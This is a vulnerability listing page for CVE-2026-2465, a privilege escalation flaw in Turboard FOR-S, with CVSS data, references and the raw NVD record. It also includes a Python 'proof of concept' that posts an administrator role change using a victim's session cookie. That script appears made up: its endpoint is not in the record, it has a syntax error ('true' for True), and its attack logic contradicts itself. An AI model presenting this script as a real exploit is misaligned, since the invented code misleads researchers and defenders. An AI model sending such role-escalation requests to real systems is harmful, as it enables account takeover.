CVE-2026-2465

Description

Incorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Internet Services Industry and Trade Ltd. Co. Turboard FOR-S allows Privilege Escalation. This issue affects Turboard FOR-S: from 7.01.2026 before 18.02.2026.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Turboard FOR-S 7.01.2026

Turboard FOR-S < 18.02.2026

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Proof of Concept for CVE-2026-2465
# This script demonstrates an authentication bypass/privilege escalation vulnerability.
# Note: Requires user interaction (UI:R) such as clicking a link while authenticated.

target_url = "http://target-turboard-instance.com/api/user/update_role"

# Attacker controlled payload to escalate privileges to Administrator
payload = {
    "user_id": "victim_user_id", 
    "role": "administrator", 
    "is_active": true
}

# If the victim clicks a link or visits a page triggering this request,
# the server may incorrectly process it without verifying the requester's authorization.
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/json",
    "Cookie": "SESSIONID=VICTIM_SESSION_COOKIE_HERE"
}

try:
    response = requests.post(target_url, json=payload, headers=headers, timeout=10)
    if response.status_code == 200:
        print("[+] Potential Privilege Escalation successful! Check response.")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2465
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2465
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2465/
[4] VulDB https://vuldb.com/cve/CVE-2026-2465
[5] https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0224

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2465", "sourceIdentifier": "[email protected]", "published": "2026-05-12T11:16:19.163", "lastModified": "2026-05-12T11:16:19.163", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Internet Services Industry and Trade Ltd. Co. Turboard FOR-S allows Privilege Escalation.\n\nThis issue affects Turboard FOR-S: from 7.01.2026 before 18.02.2026."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0224", "source": "[email protected]"}]}}